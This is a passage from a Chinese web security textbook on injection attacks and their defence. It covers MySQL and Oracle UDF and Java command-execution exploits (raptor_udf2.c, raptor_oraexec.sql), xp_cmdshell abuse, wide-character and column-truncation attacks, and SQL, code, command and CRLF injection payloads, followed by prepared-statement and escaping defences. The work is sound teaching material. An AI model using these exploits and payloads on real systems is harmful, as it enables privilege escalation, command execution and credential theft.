http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * \"UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions\". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \\! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] */#include <stdio.h>#include <stdlib.h>enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args} UDF_ARGS;typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant} UDF_INIT;int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ if (args->arg_count != 1) return(0); system(args->args[0]); return(0);}char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message){ return(0);}但是这段代码在MySQL 5及之后的版本中将受到限制，因为其创建自定义函数的过程并不符合新的版本规范，且返回值永远是0。后来安全研究者们找到了另外的方法——通过lib_mysqludf_sys提供的几个函数执行系统命令，其中最主要的函数是sys_eval()和sys_exec()。在攻击过程中，将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后，就可以使用sys_eval()等函数执行系统命令了。 ?sys_eval，执行任意命令，并将输出返回。 sys_exec，执行任意命令，并将退出码返回。 ?sys_get，获取一个环境变量。sys_set，创建或修改一个环境变量。lib_mysqludf_sys的相关信息可以在官方网站获得，使用方法如下：$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz$ tar xfz lib_mysqludf_sys_0.0.3.tar.gz$ cd lib_mysqludf_sys_0.0.3$ sudo ./install.shCompiling the MySQL UDFgcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o/usr/lib/lib_mysqludf_sys.soMySQL UDF compiled successfullyPlease provide your MySQL root passwordEnter password:MySQL UDF installed successfully$ mysql -u root -p mysqlEnter password:[...]mysql> SELECT sys_eval('id');+--------------------------------------------------+| sys_eval('id') |+--------------------------------------------------+| uid=118(mysql) gid=128(mysql) groups=128(mysql) |+--------------------------------------------------+1 row in set (0.02 sec)mysql> SELECT sys_exec('touch /tmp/test_mysql');+-----------------------------------+| sys_exec('touch /tmp/test_mysql') |+-----------------------------------+| 0 |+-----------------------------------+1 row in set (0.02 sec)mysql> exitBye$ ls -l /tmp/test_mysql-rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql自动化注入工具sqlmap已经集成了此功能。$ python sqlmap.py -u \"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1\" --os-cmd id-v 1[...]web application technology: PHP 5.2.6, Apache 2.2.9back-end DBMS: PostgreSQL[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:12] [INFO] the back-end DBMS operating system is Linux[hh:mm:12] [INFO] testing if current user is DBA[hh:mm:12] [INFO] detecting back-end DBMS version from its banner[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF filedo you want to retrieve the command standard output? [Y/n/a] ycommand standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'[hh:mm:19] [INFO] cleaning up the database management systemdo you want to remove UDF 'sys_eval'? [Y/n] ydo you want to remove UDF 'sys_exec'? [Y/n] y[hh:mm:23] [INFO] database management system cleanup finished[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system ---- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $---- raptor_oraexec.sql - java exploitation suite for oracle-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>---- This is an exploitation suite for Oracle written in Java. Use it to-- read/write files and execute OS commands with the privileges of the-- RDBMS, if you have the required permissions (DBA role and SYS:java).---- \"The Oracle RDBMS could almost be considered as a shell like bash or the-- Windows Command Prompt; it's not only capable of storing data but can also-- be used to completely access the file system and run operating system-- commands\" -- David Litchfield (http://www.databasesecurity.com/)---- Usage example:-- $ sqlplus \"/ as sysdba\"-- [...]-- SQL> @raptor_oraexec.sql-- [...]-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');-- SQL> exec dbms_java.set_output(2000);-- SQL> set serveroutput on;-- SQL> exec javareadfile('/tmp/mytest');-- /bin/ls -l > /tmp/aaa-- /bin/ls -l / >/tmp/bbb-- SQL> exec javacmd('/bin/sh /tmp/mytest');-- SQL> !sh-- $ ls -rtl /tmp/-- [...]-- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest-- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa-- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb-- [...]--create or replace and resolve java source named \"oraexec\" asimport java.lang.*;import java.io.*;public class oraexec{ /* * Command execution module */ public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } /* * File reading module */ public static void readFile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } /* * File writing module */ public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, true); /* append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write(\"\\n\"); fw.close(); }}/-- usage: exec javacmd('command');create or replace procedure javacmd(p_command varchar2) aslanguage javaname 'oraexec.execCommand(java.lang.String)';/-- usage: exec dbms_java.set_output(2000);-- set serveroutput on;-- exec javareadfile('/path/to/file');create or replace procedure javareadfile(p_filename in varchar2) aslanguage javaname 'oraexec.readFile(java.lang.String)';/-- usage: exec javawritefile('/path/to/file', 'line to append');create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) aslanguage javaname 'oraexec.writeFile(java.lang.String, java.lang.String)';/一般来说，在数据库中执行系统命令，要求具有较高的权限。在数据库加固时，可以参阅官方文档给出的安全指导文档。在建立数据库账户时应该遵循“最小权限原则”，尽量避免给Web应用使用数据库的管理员权限。7.2.3 攻击存储过程存储过程为数据库提供了强大的功能，它与UDF很像，但存储过程必须使用CALL或者EXE-CUTE来执行。在MS SQL Server和Oracle数据库中，都有大量内置的存储过程。在注入攻击的过程中，存储过程将为攻击者提供很大的便利。在MS SQL Server中，存储过程“xp_cmd-shell”可谓是臭名昭著了，无数的黑客教程在讲到注入SQL Server时都是使用它执行系统命令：EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'EXEC master.dbo.xp_cmdshell 'ping 'xp_cmdshell在SQL Server 2000中默认是开启的，但在SQL Server 2005及以后版本中则默认被禁止了。但是如果当前数据库用户拥有sysad-min权限，则可以使用sp_configure（SQL Server2005 与 SQL Server 2008）重新开启它；如果在SQLServer 2000中禁用了xp_cmdshell，则可以使用sp_addextendedproc开启它。EXEC sp_configure 'show advanced options',1RECONFIGUREEXEC sp_configure 'xp_cmdshell',1RECONFIGURE除了xp_cmdshell外，还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表：exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters', 'nullsessionshares'exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\\CurrentControlSet\\Services\\snmp\\parameters\\validcommunities'可以操作注册表的存储过程还有： xp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwrite此外，以下存储过程对攻击者也非常有用。 xp_servicecontrol，允许用户启动、停止服务。如：(exec master..xp_servicecontrol 'start','schedule'exec master..xp_servicecontrol 'start','server') xp_availablemedia，显示机器上有用的驱动器。xp_dirtree，允许获得一个目录树。xp_enumdsn，列举服务器上的ODBC数据源。xp_loginconfig，获取服务器安全信息。xp_makecab，允许用户在服务器上创建一个压缩文件。xp_ntsec_enumdomains，列举服务器可以进入的域。xp_terminate_process，提供进程的进程ID，终止此进程。除了利用存储过程直接攻击外，存储过程本身也可能会存在注入漏洞。我们看下面这个PL/SQL的例子。procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)is open itm_cv for ' SELECT * FROM items WHERE ' || 'owner = '''|| usr || ' AND itemname = ''' || itm || '''';end get_item;在这个存储过程中，变量usr和itemname 都是由外部传入的，且未经过任何处理，将直接造成SQL注入问题。在Oracle数据库中，由于内置的存储过程非常多，很多存储过程都可能存在SQL注入问题，需要特别引起注意。7.2.4 编码问题在有些时候，不同的字符编码也可能会导致一些安全问题。在注入的历史上，曾经出现过“基于字符集”的注入攻击技巧。注入攻击中常常会用到单引号“’”、双引号“””等特殊字符。在应用中，开发者为了安全，经常会使用转义字符“\\”来转义这些特殊字符。但当数据库使用了“宽字符集”时，可能会产生一些意想不到的漏洞。比如，当MySQL使用了GBK编码时，0xbf27 和 0xbf5c都会被认为是一个字符（双字节字符）。宽字符问题而在进入数据库之前，在Web语言中则没有考虑到双字节字符的问题，双字节字符会被认为是两个字节。比如PHP中的addslashes()函数，或者当magic_quotes_gpc开启时，会在特殊字符前增加一个转义字符“\\”。addslashes()函数会转义4个字符： Descriptionstring addslashes ( string $str )Returns a string with backslashes before characters that need to be quoted in databasequeries etc. These characters are single quote ('), double quote (\"), backslash (\\) andNUL (the NULL byte).因此，假如攻击者输入：0xbf27 or 1=1即：经过转义后，会变成0xbf5c27（“\\”的ASCII码为0x5c），但0xbf5c又是一个字符：因此原本会存在的转义符号“\\”，在数据库中就被“吃掉“了，变成：要解决这种问题，需要统一数据库、操作系统、Web应用所使用的字符集，以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。基于字符集的攻击并不局限于SQL注入，凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时，由于浏览器与服务器返回的字符编码不同，也可能会存在字符集攻击。解决方法就是在HTML页面的<meta>标签中指定当前页面的charset。如果因为种种原因无法统一字符编码，则需要单独实现一个用于过滤或转义的安全函数，在其中需要考虑到字符的可能范围。比如，GBK编码的字符范围为：根据系统所使用的不同字符集来限制用户输入数据的字符允许范围，以实现安全过滤。7.2.5 SQL Column Truncation2008年8月，Stefan Esser提出了一种名为“SQL Column Truncation”的攻击方式，在某些情况下，将会导致发生一些安全问题。在MySQL的配置选项中，有一个sql_mode选项。当MySQL的sql-mode设置为default时，即没有开启STRICT_ALL_TABLES选项时，MySQL对于用户插入的超长值只会提示warn-ing，而不是error（如果是error则插入不成功），这可能会导致发生一些“截断”问题。测试过程如下（MySQL 5）。首先开启strict模式。sql-mode=\"STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION\"在strict模式下，因为输入的字符串超出了长度限制，因此数据库返回一个error信息，同时数据插入不成功。mysql> create table 'truncated_test' ( -> `id` int(11) NOT NULL auto_increment, -> `username` varchar(10) default NULL, -> `password` varchar(10) default NULL, -> PRIMARY KEY ('id') -> )DEFAULT CHARSET=utf8;Query OK, 0 rows affected (0.08 sec)mysql> select * from truncated_test;Empty set (0.00 sec)mysql> show columns from truncated_test;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | varchar(10) | YES | | NULL | || password | varchar(10) | YES | | NULL | |+----------+-------------+------+-----+---------+----------------+3 rows in set (0.00 sec)mysql> insert into truncated_test('username','password') values(\"admin\",\"pass\");Query OK, 1 row affected (0.03 sec)mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)mysql> insert into truncated_test('username','password') values(\"admin x\",\"new_pass\");ERROR 1406 (22001): Data too long for column 'username' at row 1 mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)当关闭了strict选项时：sql-mode=\"NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION\"数据库只返回一个warning信息，但数据插入成功。mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)mysql> insert into truncated_test('username','password') values(\"admin x\", -> \"new_pass\");Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass |+----+------------+----------+2 rows in set (0.00 sec)mysql>此时如果插入两个相同的数据会有什么后果呢？根据不同业务可能会造成不同的逻辑问题。比如类似下面的代码：$userdata = null;if (isPasswordCorrect($username, $password)) { $userdata = getUserDataByLogin($username); ...}它使用这条SQL语句来验证用户名和密码：SELECT username FROM users WHERE username = ? AND passhash = ?但如果攻击者插入一个同名的数据，则可以通过此认证。在之后的授权过程中，如果系统仅仅通过用户名来进行授权：SELECT * FROM users WHERE username = ?则可能会造成一些越权访问。在这个问题公布后不久，WordPress就出现了一个真实的案例——注册一个用户名为“admin（55个空格）x”的用户，就可以修改原管理员的密码了。Vulnerable Systems: * WordPress version 2.6.1Exploit: 1. Go to URL: server.com/wp-login.php?action=register2. Register as:login: admin x (the user admin[55 space chars]x)email: your emailNow, we have duplicated 'admin' account in database3. Go to URL: server.com/wp-login.php?action=lostpassword4. Write your email into field and submit this form5. Check your email and go to reset confirmation link6. Admin's password changed, but new password will be send to correct admin emailAdditional Information: The information has been provided by irk4z.The original article can be found at: http://irk4z.wordpress.com/但这个漏洞并未造成严重的后果，因为攻击者在此只能修改管理员的密码，而新密码仍然会发送到管理员的邮箱。尽管如此，我们并不能忽视“SQLColumn Truncation”的危害，因为也许下一次漏洞被利用时，就没有那么好的运气了。\n7.3 正确地防御SQL注入本章中分析了很多注入攻击的技巧，从防御的角度来看，要做的事情有两件：（1）找到所有的SQL注入漏洞； （2）修补这些漏洞。解决好这两个问题，就能有效地防御SQL注入攻击。SQL注入的防御并不是一件简单的事情，开发者常常会走入一些误区。比如只对用户输入做一些escape处理，这是不够的。参考如下代码：$sql = \"SELECT id,name,mail,cv,blog,twitter FROM register WHEREid=\".mysql_real_escape_string($_GET['id']);当攻击者构造的注入代码如下时：http://vuln.example.com/user.php?id=12,AND,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1)将绕过mysql_real_escape_string的作用注入成功。这条语句执行的结果如下。因为mysql_real_escape_string()仅仅会转义： ’“\\r\\nNULLControl-Z这几个字符，在本例中SQL注入所使用的Payload完全没有用到这几个字符。那是不是再增加一些过滤字符，就可以了呢？比如处理包括“空格”、“括号”在内的一些特殊字符，以及一些SQL保留字，比如SELECT、INSERT等。其实这种基于黑名单的方法，都或多或少地存在一些问题，我们看看下面的案例。注入时不需要使用空格的例子：SELECT/**/passwd/**/from/**/userSELECT(passwd)from(user)不需要括号、引号的例子，其中0x61646D696E是字符串admin的十六进制编码：SELECT passwd from users where user=0x61646D69而在SQL保留字中，像“HAVING”、“OR-DER BY”等都可能出现在自然语言中，用户提交的正常数据可能也会有这些单词，从而造成误杀，因此不能轻易过滤。那么到底该如何正确地防御SQL注入呢？7.3.1 使用预编译语句一般来说，防御SQL注入的最佳方式，就是使用预编译语句，绑定变量。比如在Java中使用预编译的SQL语句：String custname = request.getParameter(\"customerName\"); // This should REALLY be validatedtoo // perform input validation to detect attacks String query = \"SELECT account_balance FROM user_data WHERE user_name = ? \"; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );使用预编译的SQL语句，SQL语句的语义不会发生改变。在SQL语句中，变量用?表示，攻击者无法改变SQL的结构，在上面的例子中，即使攻击者插入类似于tom' or '1'='1的字符串，也只会将此字符串当做username来查询。下面是在PHP中绑定变量的示例。$query = \"INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)\";$stmt = $mysqli->prepare($query);$stmt->bind_param(\"sss\", $val1, $val2, $val3); $val1 = 'Stuttgart';$val2 = 'DEU';$val3 = 'Baden-Wuerttemberg';/* Execute the statement */$stmt->execute();在不同的语言中，都有着使用预编译语句的方法。Java EE – use PreparedStatement() with bind variables.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variablesPHP – use PDO with strongly typed parameterized queries (using bindParam())Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)SQLite - use sqlite3_prepare() to create a statement object7.3.2 使用存储过程除了使用预编译语句外，我们还可以使用安全的存储过程对抗SQL注入。使用存储过程的效果和使用预编语句译类似，其区别就是存储过程需要先将SQL语句定义在数据库中。但需要注意的是，存储过程中也可能会存在注入问题，因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免，则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。下面是一个在Java中调用存储过程的例子，其中sp_getAccountBalance是预先在数据库中定义好的存储过程。String custname = request.getParameter(\"customerName\"); // This should REALLY be validated try { CallableStatement cs = connection.prepareCall(\"{call sp_getAccountBalance(?)}\"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // … result set handling } catch (SQLException se) { // … logging and error handling }但是有的时候，可能无法使用预编译语句或存储过程，该怎么办？这时候只能再次回到输入过滤和编码等方法上来。7.3.3 检查数据类型检查输入数据的数据类型，在很大程度上可以对抗SQL注入。比如下面这段代码，就限制了输入数据的类型只能为integer，在这种情况下，也是无法注入成功的。<?phpsettype($offset, 'integer'); $query = \"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;\";// please note %d in the format string, using %s would be meaningless$query = sprintf(\"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;\", $offset); ?>其他的数据格式或类型检查也是有益的。比如用户在输入邮箱时，必须严格按照邮箱的格式；输入时间、日期时，必须严格按照时间、日期的格式，等等，都能避免用户数据造成破坏。但数据类型检查并非万能，如果需求就是需要用户提交字符串，比如一段短文，则需要依赖其他的方法防范SQL注入。7.3.4 使用安全函数一般来说，各种Web语言都实现了一些编码函数，可以帮助对抗SQL注入。但前文曾举了一些编码函数被绕过的例子，因此我们需要一个足够安全的编码函数。幸运的是，数据库厂商往往都对此做出了“指导”。比如在MySQL中，需要按照以下思路编码字符：NUL (0x00) --> \\0 [This is a zero, not the letter O] BS (0x08) --> \\b TAB (0x09) --> \\t LF (0x0a) --> \\n CR (0x0d) --> \\r SUB (0x1a) --> \\z \" (0x22) --> \\\" % (0x25) --> \\% ' (0x27) --> \\' \\ (0x5c) --> \\\\ _ (0x5f) --> \\_ all other non-alphanumeric characters with ASCII values less than 256 --> \\c where 'c' is the original non-alphanumeric character.同时，可以参考OWASP ESAPI中的实现。这个函数由安全专家编写，更值得信赖。ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );在使用时：Codec ORACLE_CODEC = new OracleCodec(); String query = \"SELECT user_id FROM user_data WHERE user_name = '\" +ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(\"userID\")) + \"' and user_password = '\" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(\"pwd\")) +\"'\";在最后，从数据库自身的角度来说，应该使用最小权限原则，避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库，则也应该为每个应用分配不同的账户。Web应用使用的数据库账户，不应该有创建自定义函数、操作本地文件的权限。\n7.4 其他注入攻击除了SQL注入外，在Web安全领域还有其他的注入攻击，这些注入攻击都有相同的特点，就是应用违背了“数据与代码分离”原则。7.4.1 XML注入XML是一种常用的标记语言，通过标签对数据进行结构化表示。XML与HTML都是SGML（Standard Generalized Markup Language，标准通用标记语言）。XML与HTML一样，也存在注入攻击，甚至在注入的方法上也非常相似。如下例，这段代码将生成一个XML文件。final String GUESTROLE = \"guest_role\";...//userdata是准备保存的XML数据，接收了name和email两个用户提交来的数据String userdata = \"<USER role=\"+ GUESTROLE+ \"><name>\"+ request.getParameter(\"name\")+ \"</name><email>\"+ request.getParameter(\"email\")+ \"</email></USER>\";//保存XML数据userDao.save(userdata);但是如果用户构造了恶意输入数据，就有可能形成注入攻击。比如用户输入的数据如下：user1@a.com</email></USER><USER role=\"admin_role\"><name>test</name><email>user2@a.com最终生成的XML文件里被插入一条数据：<?xml version=\"1.0\" encoding=\"UTF-8\"?><USER role=\"guest_role\"> <name>user1 </name> <email>user1@a.com</email> </USER><USER role=\"admin_role\"> <name>test</name> <email>user2@a.com </email></USER>XML注入，也需要满足注入攻击的两大条件：用户能控制数据的输入；程序拼凑了数据。在修补方案上，与HTML注入的修补方案也是类似的，对用户输入数据中包含的“语言本身的保留字符”进行转义即可，如下所示：static{ // populate entitites entityToCharacterMap = new HashTrie<Character>(); entityToCharacterMap.put(\"lt\", '<'); entityToCharacterMap.put(\"gt\", '>'); entityToCharacterMap.put(\"amp\", '&'); entityToCharacterMap.put(\"apos\", '\\''); entityToCharacterMap.put(\"quot\", '\"');}7.4.2 代码注入代码注入比较特别一点。代码注入与命令注入往往都是由一些不安全的函数或者方法引起的，其中的典型代表就是eval()。如下例：$myvar = \"varname\";$x = $_GET['arg'];eval(\"\\$myvar = \\$x;\");攻击者可以通过如下Payload实施代码注入：/index.php?arg=1; phpinfo()存在代码注入漏洞的地方，与“后门”没有区别。在Java中也可以实施代码注入，比如利用Java的脚本引擎。import javax.script.*;public class Example1 { public static void main(String[] args) { try { ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName(\"JavaScript\"); System.out.println(args[0]); engine.eval(\"print('\"+ args[0] + \"')\"); } catch(Exception e) { e.printStackTrace(); } }}攻击者可以提交如下数据：hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = newFile('new'); f.createNewFile(); } //此外，JSP的动态include也能导致代码注入。严格来说，PHP、JSP的动态include（文件包含漏洞）导致的代码执行，都可以算是一种代码注入。<% String pageToInclude = getDataFromUntrustedSource(); %><jsp:include page=\"<%=pageToInclude %>\" />代码注入多见于脚本语言，有时候代码注入可以造成命令注入（Command Injection）。比如：<?php$varerror = system('cat '.$_GET['pageid'], $valoretorno);echo $varerror;?>就是一个典型的命令注入，攻击者可以利用system()函数执行他想要的系统命令。vulnerable.php?pageid=loquesea;ls下面是C语言中的一个命令注入例子。#include <stdio.h>#include <unistd.h>int main(int argc, char **argv) { char cat[] = \"cat \"; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0);}system()函数在执行时，缺乏必要的安全检查，攻击者可以由此注入额外的命令。正常执行时：$ ./catWrapper Story.txtWhen last we left our heroes...注入命令时：$ ./catWrapper \"Story.txt; ls\"When last we left our heroes...Story.txt doubFree.c nullpointer.cunstosig.c www* a.out*format.c strlen.c useFree*catWrapper* misnull.c strlength.c useFree.ccommandinjection.c nodefault.c trunc.c writeWhatWhere.c对抗代码注入、命令注入时，需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数，则需要对用户的输入数据进行处理。此外，在PHP/JSP中避免动态include远程文件，或者安全地处理它。代码注入往往是由于不安全的编程习惯所造成的，危险函数应该尽量避免在开发中使用，可以在开发规范中明确指出哪些函数是禁止使用的。这些危险函数一般在开发语言的官方文档中可以找到一些建议。7.4.3 CRLF注入CRLF实际上是两个字符：CR是Carriage Re-turn(ASCII 13, \\r)，LF是Line Feed(ASCII 10,\\n)。\\r\\n这两个字符是用于表示换行的，其十六进制编码分别为0x0d、0x0a。CRLF常被用做不同语义之间的分隔符。因此通过“注入CRLF字符”，就有可能改变原有的语义。比如，在日志文件中，通过CRLF有可能构造出一条新的日志。下面这段代码，将登录失败的用户名写入日志文件中。def log_failed_login(username) log = open(\"access.log\", 'a') log.write(\"User login failed for: %s\\n\" % username) log.close()在正常情况下，会记录下如下日志：User login failed for: guestUser login failed for: admin但是由于没有处理换行符“\\r\\n”，因此当攻击者输入如下数据时，就可能插入一条额外的日志记录。guest\\nUser login succeeded for: admin日志文件因为换行符“\\n”的存在，会变为：User login failed for: guestUser login succeeded for: admin第二条记录是伪造的，admin用户并不曾登录失败。CRLF注入并非仅能用于log注入，凡是使用CRLF作为分隔符的地方都可能存在这种注入，比如“注入HTTP头”。在HTTP协议中，HTTP头是通过“\\r\\n”来分隔的。因此如果服务器端没有过滤“\\r\\n”，而又把用户输入的数据放在HTTP头中，则有可能导致安全隐患。这种在HTTP头中的CRLF注入，又可以称为“Http Response Splitting”。下面这个例子就是通过CRLF注入完成了一次XSS攻击。在参数中插入CRLF字符：<form id=\"x\"action=\"http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>\" method=\"post\"> <!-- input name=\"email\" value=\"\" / --> <input name=\"password\" value=\"testtest\" /> <input name=\"origURL\" value=\"http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a\" /> <input name=\"formName\" value=\"\" /> <input name=\"method\" value=\"\" /> <input type=\"submit\" value=\"%E7%99%BB%E5%BD%95\" /></form>提交后完成了一次POST请求，抓包可以看到整个过程：POSThttp://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org;__utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609;__utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805;xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716;syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a;BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=服务器返回：HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-199416:00:00 GMTSet-Cookie: _de=a <script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-199416:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html ><head>......注意到服务器返回时，在Set-Cookie的值里插入了两次“\\r\\n”换行符。而两次“\\r\\n”意味着HTTP头的结束，在两次CRLF之后跟着的是HTTP Body。攻击者在两次CRLF之后构造了恶意的HTML脚本，从而得以执行，XSS攻击成功。CRLF注入HTTP头导致的XSSCookie是最容易被用户控制的地方，应用经常会将一些用户信息写入Cookie中，从而被用户控制。但是HTTP Response Splitting并非只能通过两次CRLF注入到HTTP Body，有时候注入一个HTTP头，也会带来安全问题。比如注入一个Link头，在新版本的浏览器上将造成XSS：Link: <http://www.a.com/xss.css>; REL:stylesheet而注入：X-XSS-Protection: 0则可以关闭IE 8的XSS Filter功能。可以说HTTP Response Splitting的危害甚至比XSS还要大，因为它破坏了HTTP协议的完整性。对抗CRLF的方法非常简单，只需要处理好“\\r”、“\\n”这两个保留字符即可，尤其是那些使用“换行符”作为分隔符的应用。\n7.5 